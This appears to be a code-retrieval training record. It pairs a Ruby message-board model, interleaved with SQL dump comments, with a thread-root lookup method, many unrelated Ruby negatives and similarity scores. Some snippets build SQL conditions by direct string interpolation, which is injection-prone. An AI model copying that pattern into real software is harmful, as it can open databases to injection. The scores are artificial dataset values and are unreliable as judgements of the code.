createdate, modifieddate, parentcategoryid, name, description, lastpostdate) FROM stdin; # -fda18eef-3992-419e-a373-6e2f01a8b6a9 10307 10166 10109 10129 Test Test 2009-01-17 08:06:00.359 2009-01-17 08:06:00.359 0 Teppo Testaaja message board for user Teppo \N # +fda18eef-3992-419e-a373-6e2f01a8b6a9 10307 10166 10109 10129 Test Test 2009-01-17 08:06:00.359 2009-01-17 08:06:00.359 0 Teppo Testaaja message board for user Teppo 2009-01-17 08:07:11.947 category.lastpostdate = Time.now category.save # COPY mbthread (threadid, categoryid, rootmessageid, messagecount, viewcount, lastpostbyuserid, lastpostdate, priority) FROM stdin; # +10309 10307 10308 1 1 10129 2009-01-17 08:07:11.947 0 thread = MB::Thread.find(:first, :conditions => "categoryid=#{category.id} AND rootmessageid=#{self.find_thread_root.id}") unless thread thread = MB::Thread.create( :category => category, :rootmessage => self ) end thread.messagecount += 1 thread.lastpostbyuserid = self.user.id thread.lastpostdate = Time.now thread.save self.thread = thread # COPY mbmessageflag (messageflagid, userid, messageid, flag) FROM stdin; # +10313 10129 10308 1 flag = (params[:flag] || 1) self.flag = MB::MessageFlag.create( :user => self.user, :message => self, :flag => flag ) # COPY mbstatsuser (statsuserid, groupid, userid, messagecount, lastpostdate) FROM stdin; # +10310 10166 10129 1 2009-01-17 08:07:12.014 stats = MB::StatsUser.find(:first, :conditions => "groupid=#{category.groupid} AND userid=#{self.user.id}") unless stats stats = MB::StatsUser.create( :groupid => category.groupid, :user => self.user, :messagecount => 0 ) end stats.messagecount += 1 stats.lastpostdate = Time.now stats.save # COPY ratingsstats (statsid, classnameid, classpk, totalentries, totalscore, averagescore) FROM stdin; # +10312 10071 10308 0 0 0 classnameid = Classname.find_by_value(self.liferay_class).id unless RatingsStats.find(:first, :conditions => "classnameid=#{classnameid} AND classpk=#{self.id}") RatingsStats.create( :classnameid => classnameid, :classpk => self.id ) end # COPY socialactivity (activityid, groupid, companyid, userid, createdate, mirroractivityid, classnameid, classpk, type_, extradata, receiveruserid) FROM stdin; # +1 10166 10109 10129 2009-01-17 08:07:12.024 0 10071 10308 1 0 unless SocialActivity.find(:first, :conditions => "userid=#{self.user.id} AND classnameid=#{classnameid} AND classpk=#{self.id}") SocialActivity.create( :group => category.group, :company => self.company, :user => self.user, :classnameid => classnameid, :classpk => self.id ) end # COPY tagsasset (assetid, groupid, companyid, userid, username, createdate, modifieddate, classnameid, classpk, startdate, enddate, publishdate, expirationdate, mimetype, title, description, summary, url, height, width, priority, viewcount) FROM stdin; # +10311 10166 10109 10129 Test Test 2009-01-17 08:07:12.039 2009-01-17 08:07:12.039 10071 10308 \N \N \N \N text/html New thread 0 0 0 0 unless Tag::Asset.find(:first, :conditions => "userid=#{self.user.id} AND classnameid=#{classnameid} AND classpk=#{self.id}") Tag::Asset.create( :group => category.group, :company => self.company, :user => self.user, :classnameid => classnameid, :classpk => self.id, :title => 'New thread' ) end # ResourceCode with scope 1 => Resource for Company # ResourceCode with scope 2 => Resource for this Group and Guest's Group # ResourceCode with scope 4 => Resource for self # COPY resourcecode (codeid, companyid, name, scope) FROM stdin; # +107 10109 com.liferay.portlet.messageboards.model.MBMessage 1 # +108 10109 com.liferay.portlet.messageboards.model.MBMessage 2 # +109 10109 com.liferay.portlet.messageboards.model.MBMessage 4 # COPY resource_ (resourceid, codeid, primkey) FROM stdin; # +214 107 10109 # +215 108 10124 << this is Guest's group # +216 108 10166 # +217 109 10308 # only create resources with scope 1,2 for rootmessages if self.is_root? get_resource(:scope => 1) get_resource(:scope => 2) end # Create a resource with scope=4 resource = get_resource(:scope => 4) # COPY permission_ (permissionid, companyid, actionid, resourceid) FROM stdin; # +323 10109 DELETE 217 # +324 10109 PERMISSIONS 217 # +325 10109 SUBSCRIBE 217 # +326 10109 UPDATE 217 # +327 10109 VIEW 217 # COPY users_permissions (userid, permissionid) FROM stdin; # +10129 323 # +10129 324 # +10129 325 # +10129 326 # +10129 327 self.class.actions.each do |actionid| permission = Permission.get({ :companyid => self.companyid, :actionid => actionid, :resourceid => resource.id }) self.user.permissions << permission end self.save end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parent_message\n end", "def set_body from_user\n self.body = message_body from_user\n end", "def personal_message(msg, cl, state)\n respond(msg, cl, \"Hi. Your message was: #{msg.inspect}\")\n respond(msg, cl, \"Body: #{msg.body.to_s}\")\nend", "def message_body\n return message.spanish_body if parent.spanish_speaking?\n return message.body\n end", "def message( message )\n\tend", "def processRegularUserMessage(message)\r\n return formatMessageText(message[:message])\r\n end", "def flag_message\n event = flag_events.last\n event.message if event\n end", "def handle_message(message)\n\t\t\tif(message.type == 'exception')\n\t\t\t\[email protected](LOG_ERR,message.message)\n\t\t\t\treturn()\n\t\t\tend\n\n\t\t\t# If the message has a type of intention, then we have the chance to\n\t\t\t# basically say \"NO\" to the action. In this case we are going to\n\t\t\t# say no to any intention that references the filename 'notouch'. We could\n\t\t\t# in theory filter on any aspect of the message (the type, the tags, or\n\t\t\t# the content of the message itself), but in this case a simple regex hack\n\t\t\t# for example purposes will do nicely\n\t\t\tif(message.type == 'intention')\n\n\t\t\t\t# we can only really block intentions, so only bother checking\n\t\t\t\t# if the message is an intention\n\n\t\t\t\[email protected](VERBOSE_MAJOR,message.message)\n\t\t\telsif (message.type == 'info')\n\t\t\t\tif(message.message =~ /^search|lock|backup/)\n\t\t\t\t\t# overrule status of these\n\t\t\t\t\[email protected](VERBOSE_MINOR,message.message)\n\t\t\t\telse\n\t\t\t\t\[email protected](VERBOSE_CRITICAL,message.message)\n\t\t\t\tend\n\t\t\telsif (message.type == 'verbose')\n\t\t\t\[email protected](VERBOSE_MAJOR,message.message)\n\t\t\telsif (message.type == 'debug')\n\t\t\t\[email protected](VERBOSE_MINOR,message.message)\n\t\t\telse\n\t\t\t\[email protected](VERBOSE_MINOR,message.message)\n\t\t\tend\n\t\t\ttrue\n\t\tend", "def badge_level_up \n\t\tbadge_level_up_aux(\"Commenter\",\"commenter\",\"comments\")\n\tend", "def reply_to_parent(workitem, delete=true)\n\n do_reply_to_parent(workitem, delete)\n end", "def in_reply_to \n self.parent\n end", "def handle_message(message)\n\t\tif(message.type == 'exception')\n\t\t\[email protected](message.message)\n\t\t\treturn()\n\t\tend\n\n\t\t# If the message has a type of intention, then we have the chance to\n\t\t# basically say \"NO\" to the action. In this case we are going to\n\t\t# say no to any intention that references the filename 'notouch'. We could\n\t\t# in theory filter on any aspect of the message (the type, the tags, or\n\t\t# the content of the message itself), but in this case a simple regex hack\n\t\t# for example purposes will do nicely\n\t\tif(message.type == 'intention')\n\t\t\t# we can only really block intentions, so only bother checking if the message\n\t\t\t# is an intention\n\t\t\tif(message.message =~ /notouch/)\n\t\t\t\[email protected](\"Canceled - #{message.message}\")\n\t\t\t\treturn(false)\n\t\t\telse\n\t\t\t\[email protected](message.message)\n\t\t\t\treturn(true)\n\t\t\tend\n\t\telse\n\t\t\[email protected](message.message)\n\t\tend\n\tend", "def process_message(message)\n end", "def message(message) end", "def say(body, xmlproc=nil, &blk)\n msg = connection.message_stanza(:to => jid, :type => 'groupchat') do\n nodes = []\n nodes << x('body',body,&xmlproc)\n nodes << xmlproc.call if xmlproc\n nodes\n end\n connection.send_stanza msg, &blk\n end", "def user_message(msg, level=0, type=\"info\")\n if not(quiet_mode?)\n message(type, :green, \" \"*level + msg)\n end\n end", "def reply(body, hidden: false, internal: false)\n # TODO: merge response into the conversation\n @client.post(\n \"/api/mod/conversations/#{get_attribute(:id)}\",\n body: body, isAuthorHidden: hidden, isInternal: internal\n ).body\n end", "def message\n if negation?\n \t\targument.con_statement\n \telse\n \t\targument.pro_statement\n \tend\n end", "def write_message?(level_of_message); end", "def incoming_private_message(user, text)\n case text\n when /\\bhelp\\b/i\n msg(user, 'LoggerBot at your service - I log all messages and actions in any channel')\n msg(user, 'I\\'m in. In the future I\\'ll offer searchable logs. If you /INVITE me to')\n msg(user, 'a channel, I\\'ll pop in and start logging.')\n return\n end\n\n msg(user, \"I don't log private messages. If you'd like to know what I do, \")\n msg(user, \"enter \\\"HELP\\\"\")\n end", "def valid?(message)\n super do |payload|\n payload.get(:data, :github_kit, :commit_comment) ||\n payload.get(:data, :github_kit, :status)\n end\n end", "def setCelestialBody(body)\n\t\tsetRawString('c:' + body.id)\n\tend", "def message_params\n params.permit(:content, :user_id)\n end", "def usr_msg? convo, usr\n (usr.id == convo.user_id && convo.status == 'active') || (usr.id == convo.recipient_id && convo.recipient_status == 'active')\n end", "def pipe_message_body(opts = {})\n {\n stream_name: zfind(opts[:stream_name]) || zfind('status_stream'),\n data: opts[:data] || update_message_body(opts),\n partition_key: opts[:partition_key] || @instance_id || 'unk'\n }\n end", "def top_level?\n !self.reply_comment?\n end", "def message_body from_user\n if from_user.musician?\n message_body = \"#{from_user.name} desea unirse al grupo.\"\n message_body += \"<br><br>\"\n message_body += \"Si deseas añadirle al grupo pulsa en el siguiente botón:\"\n message_body += \"<br><br>\"\n else\n message_body = \"#{from_user.name} desea que te unas al grupo.\"\n message_body += \"<br><br>\"\n message_body += \"Si deseas unirte al grupo pulsa en el siguiente botón:\"\n message_body += \"<br><br>\"\n end\n\n message_body += body_form from_user\n\n return message_body\n end", "def customized_message_body=(value)\n @customized_message_body = value\n end", "def user_id=(user_id); @message_impl.setUserId user_id; end", "def message; end", "def message; end", "def message; end", "def message; end", "def message; end", "def message; end", "def message_category_params\n params.fetch(:message_category, {}).permit(:title, :send_at, :user_id, :severity)\n end", "def user_message(recip, from, from_name, message)\n recipients recip\n from from\n subject \"Message from Weefolio User #{from_name}\"\n sent_on Time.now\n body message\n end", "def message() end", "def build_message(type, body, flags=NLM_F_REQUEST, seq=next_seq, pid=@pid)\n body = body.to_str\n header = [\n body.bytesize + NLMSGHDR_SIZE,\n type, flags, seq, pid\n ].pack(NLMSGHDR_PACK)\n # assume the header is already aligned\n header + body\n end", "def message_to_blogger\n return if self.user.id == self.blogger.id\n message = self.messages.build(\n is_read: false,\n user_id: self.blogger.id,\n from_user_id: self.user.id,\n body: \"#{self.user.uid} 回复了你: #{self.content}\"\n )\n message.save\n end", "def inactive_message \n if !is_approved? \n :not_approved \n else \n super # Use whatever other message \n end \n end", "def destination_cond(user = @current_user)\n result = Destination_Condition\n @self_receive_allowed and \n result += \" OR (articles.created_by = #{@current_user.run_id})\" #including sender as a receiver\n (@receive_mode == EXTENDED || @receive_mode == ALL) and \n result += \" OR articles.user_category LIKE CONCAT('%','#{@current_user.category}','%')\"\n result\n end", "def do_reply_to_parent(workitem, delete=true)\n\n # propagate the cancel \"flavour\" back, so that one can know\n # why a branch got cancelled.\n\n flavour = if @msg.nil?\n nil\n elsif @msg['action'] == 'cancel'\n @msg['flavour'] || 'cancel'\n elsif h.state.nil?\n nil\n else\n @msg['flavour']\n end\n\n # deal with the timers and the schedules\n\n %w[ timeout_schedule_id job_id ].each do |sid|\n @context.storage.delete_schedule(h[sid]) if h[sid]\n end\n #\n # legacy schedule ids, to be removed for ruote 2.4.0\n\n @context.storage.delete_schedule(h.schedule_id) if h.schedule_id\n #\n # time-driven exps like cron, wait and once now all use h.schedule_id\n\n h.timers.each do |schedule_id, action|\n @context.storage.delete_schedule(schedule_id)\n end if h.timers\n\n # cancel flanking expressions if any\n\n cancel_flanks(h.state == 'dying' ? 'kill' : nil)\n\n # trigger or vanilla reply\n\n if h.state == 'failing' # on_error is implicit (#do_fail got called)\n\n trigger('on_error', workitem)\n\n elsif h.state == 'cancelling' && h.on_cancel\n\n trigger('on_cancel', workitem)\n\n elsif h.state == 'cancelling' && h.on_re_apply\n\n trigger('on_re_apply', workitem)\n\n elsif h.state == 'timing_out' && h.on_timeout\n\n trigger('on_timeout', workitem)\n\n elsif h.state == nil && h.on_reply\n\n trigger('on_reply', workitem)\n\n elsif h.flanking && h.state.nil?\n #\n # do vanish\n\n do_unpersist\n\n elsif h.lost && h.state.nil?\n #\n # do not reply, sit here (and wait for cancellation probably)\n\n do_persist\n\n elsif h.trigger && workitem['fields'][\"__#{h.trigger}__\"]\n #\n # the \"second take\"\n\n trigger(h.trigger, workitem)\n\n else # vanilla reply\n\n filter(workitem) if h.state.nil?\n\n f = h.state.nil? && attribute(:vars_to_f)\n Ruote.set(workitem['fields'], f, h.variables) if f\n\n workitem['sub_wf_name'] = h.applied_workitem['sub_wf_name']\n workitem['sub_wf_revision'] = h.applied_workitem['sub_wf_revision']\n\n leave_tag(workitem) if h.tagname\n\n (do_unpersist || return) if delete\n # remove expression from storage\n\n if h.parent_id && ! h.attached\n\n @context.storage.put_msg(\n 'reply',\n 'fei' => h.parent_id,\n 'workitem' => workitem.merge!('fei' => h.fei),\n 'updated_tree' => h.updated_tree, # nil most of the time\n 'flavour' => flavour)\n\n else\n\n @context.storage.put_msg(\n (h.forgotten || h.attached) ? 'ceased' : 'terminated',\n 'wfid' => h.fei['wfid'],\n 'fei' => h.fei,\n 'workitem' => workitem,\n 'variables' => h.variables,\n 'flavour' => flavour)\n\n if\n h.state.nil? &&\n h.on_terminate == 'regenerate' &&\n ! (h.forgotten || h.attached)\n then\n @context.storage.put_msg(\n 'regenerate',\n 'wfid' => h.fei['wfid'],\n 'tree' => h.original_tree,\n 'workitem' => workitem,\n 'variables' => h.variables,\n 'flavour' => flavour)\n #'stash' =>\n end\n end\n end\n end", "def message\n @message || super\n end", "def check_parent_info\n if self.mparent_id\n p = parent_message\n # force correct root id\n self.mroot_id = p.mroot_id || p.id\n #byebug\n # force correct dest (?)\n self.dest_id = p.user_id\n # force coherent visibility !\n self.is_public = p.is_public?\n end\n end", "def message\n end", "def msg(message)\n end", "def reply_flag_params\n params.require(:reply_flag).permit(:reply_id, :user_id)\n end", "def message_params\n params.require(:message).permit(:user_id, :type, :content, :read, :text)\n end", "def show\n @message = @message\n @parent = Message.find_by_id(@reply_message_id)\n\n if @message.is_system_notification != 1\n @id = []\n @id << @message.user_id.to_s && @id << @message.to_user_id.to_s\n if [email protected]?(@current_user.id.to_s)\n redirect_to \"/contact_us\"\n end\n else\n @to_user_id_array = @message.to_user_id.split(\",\")\n if !@to_user_id_array.include?(@current_user.id.to_s)\n redirect_to \"/contact_us\"\n end\n end\n\n\n end", "def body(message, **keyword_args)\n append(Body.new(message, **keyword_args))\n end", "def valid_for_final_negative_message?(user)\n marital_status = user.marital_status.downcase\n expected_header = messaging.translate \"hwf_decision.no_remission.#{marital_status}.heading\"\n expected_detail = messaging.translate \"hwf_decision.no_remission.#{marital_status}.negative.detail\",\n fee: number_to_currency(user.fee, precision: 0, unit: '£'),\n total_income: number_to_currency(user.monthly_gross_income, precision: 0, unit: '£')\n\n !!(feedback_message_with_header(expected_header) &&\n feedback_message_with_detail(expected_detail))\n end", "def message?\n false\n end", "def set_notification_message\n case self.acted_with_type\n when \"Opportunity\"\n if self.anonymous\n self.message = \"An opportunity has been posted\"\n elsif self.targetable_type == 'Network'\n self.message = \"#{self.actor.fname.capitalize} #{self.action} an opportunity\"\n #within #{self.targetable.title.capitalize}\"\n elsif self.action == 'acknowledged'\n self.message = \"#{self.actor.fname.capitalize} has #{self.action} your opportunity\"\n elsif self.action == 'sent'\n self.message= \"#{self.actor.fname.capitalize} #{self.action} you an opportunity\"\n self.message += \" directly\" if self.action == 'sent'\n else\n self.message= \"#{self.actor.fname.capitalize} #{self.action} an opportunity\"\n end\n when \"Connection\"\n self.message = \"#{self.actor.fname.capitalize} has #{self.action} you to connect\"\n else\n end\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n @topics << shift_string(buffer) while buffer.bytesize > 0\n end", "def handle(message)\n case message.fetch('subtype') { :default }\n when :default, 'channel_join', 'channel_leave', 'channel_topic',\n 'channel_purpose', 'channel_name', 'channel_archive',\n 'channel_unarchive', 'group_join', 'group_leave', 'group_topic',\n 'group_purpose', 'group_name', 'group_archive', 'group_unarchive',\n 'file_share', 'file_comment', 'file_mention', 'pinned_item',\n 'unpinned_item'\n store(message)\n end\n end", "def message_action_flag\n return @message_action_flag\n end", "def message_params\n params.require(:message).permit(:body, :user_id)\n end", "def message_params\n params.require(:message).permit(:body, :user_id)\n end", "def other_user(user)\n message = self.messages.first\n message.sender == user ? message.recipient : message.sender\n # I FEEL THIS METHOD COULD BE REWRITTEN IN A MORE EFFICIENT AND SUGAR WAY\n end", "def inactive_message \n if !approved? \n :not_approved \n else \n super # Use whatever other message \n end \n end", "def on_message(msg); @parent.on_message(@env, msg); end", "def user\n guest # inherits from guest\n can :launch, Challenge\n can :complete, Challenge\n can :show_hint, Challenge\n can :destroy, ChallengeFlag, user_id: @user.id\n\n # Messages\n #can [:read, :destroy], UserMessage, :user_id=>@user.id\n #can :create, UserMessage\n #cannot :multi_send, UserMessage # Send multiple to multiple users\n #cannot :system_send, UserMessage # Send messages from \"System\" users\n end", "def ensure_parent_message\n self.parent_message = self if self.parent_message.nil?\n end", "def message\n verb\n end", "def message\n \n end", "def can_message? o\n return true\n # return true if admin?\n # false\n end", "def customized_message_body\n return @customized_message_body\n end", "def chatroom_emote(msg, cl, state)\n body = msg.body.to_s\n body = body[1..body.length - 2]\n \n # Being invited back to a chat room: '_henry invited [email protected]_' \n if(match = /^(.*) invited you to '#{ROOM_NAME}'/.match(body))\n out(\"coming back after being kicked\")\n respond(msg, cl, \"hello again\")\n return\n end\n\n # handle users being kicked \n if (match = /(\\S*) kicked (\\S*)/.match(body))\n out(\"User was kicked. match: #{match.inspect}\")\n\n if match[1] != \"gossbot\" && match[1] != \"gossbot2\" \n respond(msg, cl, \"/kick #{match[1]}\")\n respond(msg, cl, \"#{match[1]} is a jerk.\")\n\n # if person was kicked by email re-invite, otherwise look them up first\n if (match[2].include?(\"@\"))\n respond(msg, cl, \"/invite #{match[2]}\")\n else\n respond(msg, cl, \"/invite #{state[:user_map][match[2]]}\") if state[:user_map][match[2]]\n end\n end\n end\nend", "def process_part(message)\n channel = message.channel\n /:(?<user>\\w+)/ =~ message.raw\n channel.users.delete user if channel.users.key? user\n end", "def is_message?\n in_reply_to && self.private\n end", "def process_msgs\n end", "def formatted_body\n\t\tcase self.text\n\t\t\twhen \"space_created\"\n\t\t\t\treturn \"Space created, \\'#{self.reference.name}\\'\"\n\t\t\twhen \"discussion_created\"\n\t\t\t\treturn self.reference.body\n\t\t\twhen \"comment_created\"\n\t\t\t\treturn self.reference.body\n\t\tend\t\t\n\tend", "def is_groupblog?\n !self.user_id\n end", "def message_or_abuse(umsg)\n @umsg = umsg\n @user = User.find(@umsg.userid)\n email_opts = {}\n if @umsg.type.present? # abuse\n email_opts[:subject] = t(\"mailer.abuse_subject\", :lotid => @umsg.lotid, :userid => @umsg.userid)\n email_opts[:to] = Azbuker::Application.config.abusemail\n email_opts[:reply_to] = @umsg.email\n #email_opts[:bcc] = @user.email\n email_opts[:template_name] = 'abuse'\n else # mail to user\n email_opts[:subject] = t(\"mailer.msg_subject\", :lotid => umsg.lotid)\n email_opts[:to] = @user.email\n email_opts[:bcc] = ADMINMAIL\n email_opts[:reply_to] = @umsg.email\n email_opts[:template_name] = 'msg'\n end\n\n mal = mail(email_opts)\n mal.raise_delivery_errors = true\n mal\n end", "def post_message_params\n params.require(:message).permit(:body, :recipient_user_id)\n end", "def message_to_at_user(at_user)\n # return if self.user.id == at_user.id\n message = self.messages.build(\n is_read: false,\n user_id: at_user.id,\n from_user_id: self.user.id,\n body: \"#{self.user.uid} @了你: #{self.content}\"\n )\n message.save\n end", "def parent(user)\n BolFile.find_by(parent_recognizing_condition) || user.bol_files.create(parent_recognizing_condition)\n end", "def message(type, *args)\n end", "def update\n @message = Message.find(params[:id])\n flaggers = @message.flaggings.with_flag(:visible_to).select('flagger_id').map { |f| f.flagger_id.to_s } || []\n visible_to = params[:visible_to] || []\n (visible_to - flaggers).each do |user|\n User.find(user).flag(@message, :visible_to)\n end\n (flaggers - visible_to).each do |user|\n User.find(user).unflag(@message, :visible_to)\n end\n\n @show_editable_fields = is_admin?\n\n respond_to do |format|\n if is_moderator?\n # moderator can't update message\n format.html { redirect_to @message, notice: 'message.updated' }\n format.json { head :no_content }\n else\n if @message.update_attributes(params[:message])\n format.html { redirect_to @message, notice: 'message.updated' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @message_category = MessageCategory.new(message_category_params)\n @message_category.user_id = current_user.id\n\n respond_to do |format|\n if @message_category.save\n format.html { redirect_to @message_category, notice: 'Message category was successfully created.' }\n format.json { render :show, status: :created, location: @message_category }\n else\n format.html { render :new }\n format.json { render json: @message_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def subject_and_status(message)\n tag = ''\n if message.receiver_deleted?\n tag = \" (Deleted)\"\n elsif message.read_at.nil? and params[:action] != \"outbox\"\n \"&middot; <strong>#{message.subject}</strong>\".html_safe\n else\n message.subject\n end\n end", "def mesg message, attention_type = nil\n validate_message_level()\n if (@message_level != MessageLevel::NO_MESSAGES)\n log_info(\"# \" + message.to_s, attention_type )\n return true\n end\n return false\n end", "def msg(msgObj)\r\n\r\n raise \"Bad argument\" if (nil == msgObj)\r\n\r\n isCondition = false\r\n isException = false\r\n\r\n msgTxt = cleanMsgText(msgObj.msg)\r\n msgTag = \"message\"\r\n msgType = \"\"\r\n # Determine message type\r\n case msgObj.type\r\n when 'Condition'\r\n isCondition = true\r\n msgTag = \"condition\"\r\n\r\n when 'Exceptions'\r\n msgType += \"exception\"\r\n isException = true\r\n\r\n when 'Observation'\r\n msgType += \"observation\"\r\n\r\n when 'Findings'\r\n msgType += \"findings\"\r\n\r\n when 'Credit'\r\n msgType += \"credit\"\r\n\r\n end # case msgObj.type\r\n\r\n\r\n if (isCondition) # Handle condition messages\r\n\r\n case msgObj.category # Handle condition message category type\r\n when '1'\r\n msgType += \"asset\"\r\n\r\n when '2'\r\n msgType += \"credit\"\r\n\r\n when '3'\r\n msgType += \"income\"\r\n\r\n when '4'\r\n msgType += \"property\"\r\n\r\n when '5'\r\n msgType += \"purchase\"\r\n\r\n when '6'\r\n msgType += \"title\"\r\n\r\n else\r\n msgType += \" asset\"\r\n\r\n end # case category\r\n\r\n\r\n\r\n case msgObj.priorTo # Handle condition message priorTo type\r\n when '1'\r\n msgType += \", docs\"\r\n\r\n when '2'\r\n msgType += \", funding\"\r\n\r\n when '3'\r\n msgType += \", approval\"\r\n\r\n else\r\n msgType += \", docs\"\r\n\r\n end # case priorTo\r\n\r\n end # if isCondition\r\n\r\n\r\n\r\n\r\n msgout = <<EOF\r\n #{msgTag}(#{msgType}, \"#{msgTxt}\");\r\nEOF\r\n\r\n return msgout\r\n\r\n end", "def group_chat(message) \n puts \"This is a Public Group\"\n puts message \n # secure_chat(\"This is confidential\")\n personal_chat(\"hi how are you\") \n end", "def build_message\n level_string = (user.level == User::Levels::APPROVER) ? \"an Approver\" : \"a #{user.level_string}\"\n if user.level > user.level_was\n \"You have been promoted to #{level_string} level account from #{user.level_string_was}.\"\n elsif user.level < user.level_was\n \"You have been demoted to #{level_string} level account from #{user.level_string_was}.\"\n end\n end", "def sub(user, tag = nil)\n raise \"Missing user\" unless user\n args = [\"user=#{user.uri_escape}\", (tag ? \"tag=#{tag.uri_escape}\" : nil)]\n get('/api/inbox/sub?' << args.compact.join('&amp;'), 'post')\n nil\n end", "def show\n @message = Message.read(params[:id], current_user)\n @title = @message.subject\n if current_user == @message.sender\n @this_user = true\n else\n @this_user = false\n end\n# @this_user = current_user == @message.sender ? true : false\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end", "def receive\n begin\n message = save_message\n rescue => err\n render :text => err.message, :status => 400\n return\n end\n \n begin\n message.process! params\n rescue => err\n message.reply = err.message\n ensure\n if (message.reply != \"Invalid command\")\n collection_id = get_collection_id(params[:body])\n if collection_id and collection_id >0\n message[:collection_id] = collection_id\n end\n end\n message.save\n render :text => message.reply, :content_type => \"text/plain\"\n end\n end", "def conversation_subject user\n if user.musician?\n \"#{user.name} desea unirse al grupo\"\n else\n \"#{user.name} desea que te unas al grupo\"\n end\n end", "def message_params\n params.require(:message).permit(:parent_id, :user_id, :recipient_id, :group_id, :subject, :body, :user_read, :recipient_read, :show_user, :show_recipient)\n end", "def cleaned_up_text_body(format = false)\n # http://stackoverflow.com/a/15098459\n caller = caller_locations(1,1)[0].label\n if caller == 'receive_issue' || caller == 'receive_issue_reply'\n html_body\n else\n super\n end\n rescue => e\n # log error\n RedmineHtmlMailHandler::HtmlMailHandlerLogger.write(:error, \"ERROR=#{e.message}\")\n RedmineHtmlMailHandler::HtmlMailHandlerLogger.write(:error, \"BACKTRACE=\\n#{e.backtrace.join(\"\\n\")}\")\n # raise error that can be catched by 'notify_invalid_mail_handler' plugin\n raise RedmineHtmlMailHandler::Error, e.message\n end", "def new_message\n end", "def prepare_message\n case self.option_types\n when \"quick replies\"\n self.to_message_with_quick_replies\n when \"buttons\"\n self.to_message_with_buttons\n when \"templates\"\n self.to_message_with_templates\n when \"none\"\n self.to_simple_message\n end\n end", "def sub(user, tag = nil)\n raise Error, \"Missing user\" unless user\n args = [\"user=#{u(user)}\", (tag ? \"tag=#{u(tag)}\" : nil)]\n get('inbox/sub?' << args.compact.join('&amp;'), 'post')\n nil\n end", "def users_messaged_by\r\n self.users_who_messaged_me\r\n end", "def users_messaged_by\r\n self.users_who_messaged_me\r\n end", "def ezm_subject_and_status(message)\r\n if message.receiver_deleted?\r\n message.subject + \" (Deleted)\" \r\n elsif message.read_at.nil?\r\n message.subject + \" (Unread)\" \r\n else \r\n message.subject\r\n end\r\n end", "def me?\n @msg.me?\n end", "def rezm_subject_and_status(message)\n if message.receiver_deleted?\n message.subject + \" (Deleted)\" \n elsif message.read_at.nil?\n message.subject + \" (Unread)\" \n else \n message.subject\n end\n end" ]
[ "0.6136857", "0.5346499", "0.5278617", "0.52411264", "0.51941156", "0.5176993", "0.511881", "0.5098874", "0.5097494", "0.50798136", "0.50761074", "0.5070643", "0.50329006", "0.5003065", "0.49751312", "0.4970536", "0.49398074", "0.49390113", "0.4936332", "0.4934873", "0.49327147", "0.4926492", "0.48900703", "0.48887277", "0.48887196", "0.4882361", "0.48823318", "0.4878215", "0.48687676", "0.48481646", "0.48481646", "0.48481646", "0.48481646", "0.48481646", "0.48481646", "0.4844638", "0.48228616", "0.48117083", "0.4809515", "0.4808646", "0.4806389", "0.48002285", "0.47985837", "0.47933462", "0.47930038", "0.4791214", "0.47903046", "0.47861645", "0.47793418", "0.47790098", "0.477803", "0.47758028", "0.47723955", "0.4771039", "0.47673014", "0.47637773", "0.47569385", "0.47466996", "0.47466996", "0.4746408", "0.47430408", "0.4732187", "0.47256097", "0.47216162", "0.47177678", "0.47143927", "0.47121945", "0.47061092", "0.47047237", "0.46990216", "0.46988702", "0.46822017", "0.4681717", "0.46807596", "0.46799675", "0.46790618", "0.46759272", "0.467555", "0.4671834", "0.4670823", "0.46659192", "0.46656018", "0.46642578", "0.4660959", "0.4654", "0.46491614", "0.46471214", "0.46462566", "0.4644689", "0.46425185", "0.46404773", "0.4638512", "0.46382707", "0.46382052", "0.46379128", "0.46375954", "0.46375954", "0.46372965", "0.46234652", "0.46210292" ]
0.552584
1
Finds the first in the thread recursively. Since initialize() uses this method to find the root message before the thread is known, MB::Thread methods cannot be used. Otherwise, self.thread.rootmessage would be faster. Using while (or until) loops may lead to neverending loops if the database contains awkward data (actual root message pointing to another message etc)
def find_thread_root msg = self until (msg.is_root?) do msg = msg.parent end return msg end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def thread_message! message\n startt = Time.now\n\n ## build the path of msgids from leaf to ancestor\n ids = [message.safe_msgid] + message.safe_refs.reverse\n seen = {}\n ids = ids.map { |x| seen[x] = true && x unless seen[x] }.compact\n\n ## write parent/child relationships\n if ids.size > 1\n ids[0 .. -2].zip(ids[1 .. -1]).each do |id, parent|\n pkey = \"pmsgid/#{id}\"\n next if contains_key? pkey # don't overwrite--potential for mischief?\n write_string pkey, parent\n\n ckey = \"cmsgids/#{parent}\"\n v = load_set(ckey)\n v << id\n write_set ckey, v\n end\n end\n\n ## find the root of the whole thread\n root = ids.first\n seen = {} # guard against loops\n while(id = load_string(\"pmsgid/#{root}\"))\n #puts \"parent of #{root} is #{id}\"\n break if seen[id]; seen[id] = true\n root = id\n end\n\n ## get the thread structure in terms of docids docs we've actually seen.\n ## generate psuedo-docids to join trees with parents we haven't seen yet\n ## when necessary.\n thread_structure = build_thread_structure_from root\n #puts \"thread structure is #{thread_structure.inspect}\"\n threadid = thread_structure.first # might actually be a psuedo-docid\n #puts \"root msgid is #{root.inspect}, root docid is #{threadid}\"\n\n ## if any of these docs are roots of old threads, delete those old threads,\n ## but keep track of all the labels we've seen\n old_labels = thread_structure.flatten.inject(Set.new) do |labels, id|\n tkey = \"thread/#{id}\"\n labels + if contains_key? tkey\n lkey = \"tlabels/#{id}\"\n v = load_set lkey\n @store.delete lkey\n @store.delete tkey\n v\n else\n Set.new\n end\n end\n\n ## write the thread ids for all documents. we need this at search time to\n ## do the message->thread mapping.\n thread_structure.flatten.each do |id|\n next if id < 0 # pseudo root\n write_int \"threadid/#{id}\", threadid\n end\n\n @thread_time += (Time.now - startt)\n [threadid, thread_structure, old_labels]\n end", "def breadth_first(value_to_find)\r\n current_node = self\r\n queue = MyQueue.new \r\n\r\n while current_node != nil\r\n if current_node.payload == value_to_find\r\n return current_node\r\n end\r\n current_node.children.each do |child|\r\n queue.enqueue(child)\r\n end\r\n current_node = queue.dequeue\r\n end\r\n end", "def thread_messages\n #thread.messages + [thread]\n Message.where([\"id = ? or parent_id = ?\", thread_id, thread_id])\n 